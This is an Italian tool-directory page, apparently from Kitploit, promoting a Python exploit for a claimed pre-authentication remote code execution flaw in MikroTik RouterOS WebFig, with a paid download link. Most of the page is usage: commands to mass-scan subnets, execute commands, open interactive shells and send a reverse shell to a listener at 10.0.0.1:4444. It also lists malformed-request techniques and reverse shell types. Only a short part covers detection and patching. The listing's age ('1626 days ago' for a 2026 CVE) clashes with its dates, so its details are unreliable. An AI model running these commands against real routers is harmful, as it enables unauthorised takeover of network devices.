Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-84411 — Exploit Python per CVE-2026-84411, un integer underflow pre-autenticazione in MikroTik RouterOS WebFig che consente RCE, con scansione, esecuzione di comandi e reverse shell. | Kitploit
Strumenti/GitHubGitHub/maxprog-svg/cve-2026-84411
Sicurezza Sistemi EmbeddedRicognizioneScanner di VulnerabilitàSicurezza IoTExploitSfruttamento di Applicazioni WebSicurezza di RetePenetration TestingStrumento di Accesso Remoto
GitHubmaxprog-svg/cve-2026-84411

CVE-2026-84411

Exploit Python per CVE-2026-84411, un integer underflow pre-autenticazione in MikroTik RouterOS WebFig che consente RCE, con scansione, esecuzione di comandi e reverse shell.

1626 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository

CVE-2026-84411 — Exploit di Integer Underflow in WebFig di MikroTik RouterOS

Panoramica

CVE-2026-84411 è una vulnerabilità critica di Remote Code Execution (RCE) pre-autenticazione in MikroTik RouterOS.

CampoValore
CVSS v39.8 (Critico)
CWECWE-191: Integer Underflow
Vettore di attaccoRete
AutenticazioneNessuna (Pre-Auth)
ImpattoRCE completo come root / DoS
AffetteRouterOS < 7.24
CorrettaRouterOS 7.24+

Come funziona

Il servizio di gestione web (WebFig, in ascolto su TCP/80 e TCP/443) contiene un integer underflow nella gestione del corpo delle richieste HTTP. Una singola richiesta HTTP appositamente craftata — inviata senza effettuare il login — può mandare in crash il servizio o consentire l'esecuzione di codice arbitrario con privilegi completi.

L'underflow si verifica quando il parser calcola una lunghezza del corpo con una validazione insufficiente, permettendo al valore di scendere sotto zero e andare in underflow fino a diventare un intero senza segno molto grande. Le operazioni di memoria che si fidano di questa lunghezza corrotta (copie, allocazioni, controlli dei limiti) si comportano quindi in modo catastrofico.

Avvio rapido

# 1. Quick scan
python3 cve-2026-84411.py -t http://192.168.88.1

# 2. Full exploit check
python3 cve-2026-84411.py -t http://192.168.88.1 --check

# 3. Execute a command
python3 cve-2026-84411.py -t http://192.168.88.1 --cmd "/system identity print"

# 4. Interactive shell
python3 cve-2026-84411.py -t http://192.168.88.1 --interactive

# 5. Reverse shell
python3 cve-2026-84411.py -t http://192.168.88.1 --shell 10.0.0.1 4444

# 6. Scan multiple targets from file
python3 cve-2026-84411.py -i targets.txt

# 7. Scan a subnet
python3 cve-2026-84411.py --range 192.168.88.0/24

# 8. List available reverse shell types
python3 cve-2026-84411.py --list-shells

Utilizzo

usage: cve-2026-84411.py [-h] [-t TARGET] [-i INPUT_FILE] [--range CIDR]
                         [--check] [--shell LHOST LPORT] [--cmd COMMAND]
                         [--interactive] [--list-shells]
                         [--lhost LHOST] [--lport LPORT] [-v]
                         [--timeout TIMEOUT] [--no-color]

CVE-2026-84411 — MikroTik RouterOS WebFig Integer Underflow Exploit

options:
  -h, --help            show this help message
  -t, --target TARGET   Target URL or host (e.g., http://192.168.88.1)
  -i, --input INPUT_FILE
                        File with targets (one per line)
  --range CIDR          IP range to scan (CIDR notation)
  --check               Run full exploit check
  --shell LHOST LPORT   Spawn reverse shell
  --cmd COMMAND         Execute single command
  --interactive         Interactive shell session
  --list-shells         List available reverse shell types
  --lhost LHOST         Listener host for reverse shell
  --lport LPORT         Listener port for reverse shell
  -v, --verbose         Verbose output
  --timeout TIMEOUT     Request timeout in seconds (default: 10)
  --no-color            Disable ANSI colours

Metodi di Exploit

Lo strumento utilizza quattro metodi di rilevamento:

  1. Content-Length Underflow — Invia POST con Content-Length molto più grande della dimensione effettiva del body
  2. Chunked Transfer Encoding — Invia dimensioni di chunk estreme (UINT32_MAX, UINT16_MAX)
  3. Content-Length Negativo — Invia valori Content-Length negativi per attivare l'underflow
  4. Body di Grandi Dimensioni — Invia body molto grandi con Content-Length corrispondente

Tipi di Reverse Shell

TipoComando
bashReverse shell bash standard
pythonReverse shell Python 2
python3Reverse shell Python 3
perlReverse shell Perl
phpReverse shell PHP
ncReverse shell Netcat

Formato del File per la Scansione Batch

targets.txt — un target per riga:

http://192.168.88.1
https://10.0.0.1
192.168.1.100
https://router.example.com

Rilevamento e risposta

Telemetria di rete

Il segnale a più alta affidabilità è qualsiasi connessione alle porte di gestione web di RouterOS (TCP/80, TCP/443) da un'origine che non sia un host di gestione noto.

Regole Sigma

Consulta il post del blog Security Arsenal per le regole Sigma: https://securityarsenal.com/blog/cve-2026-84411-mikrotik-routeros-pre-auth-integer-underflow-detection-and-remediation-guide

Mitigazione

Aggiorna a RouterOS 7.24 o versione successiva.

Riferimenti

  • MikroTik Advisory
  • CISA Advisory ICSA-26-272-06
  • NVD CVE-2026-84411
  • SentinelOne Analysis
  • Go PoC

Licenza

Solo per test di sicurezza autorizzati.

Autore

Port in Python basato sul PoC in Go di Gagaltotal666 / GhostGTR666.

https://satoshidisk.com/pay/CSaodb

Scarica lo strumento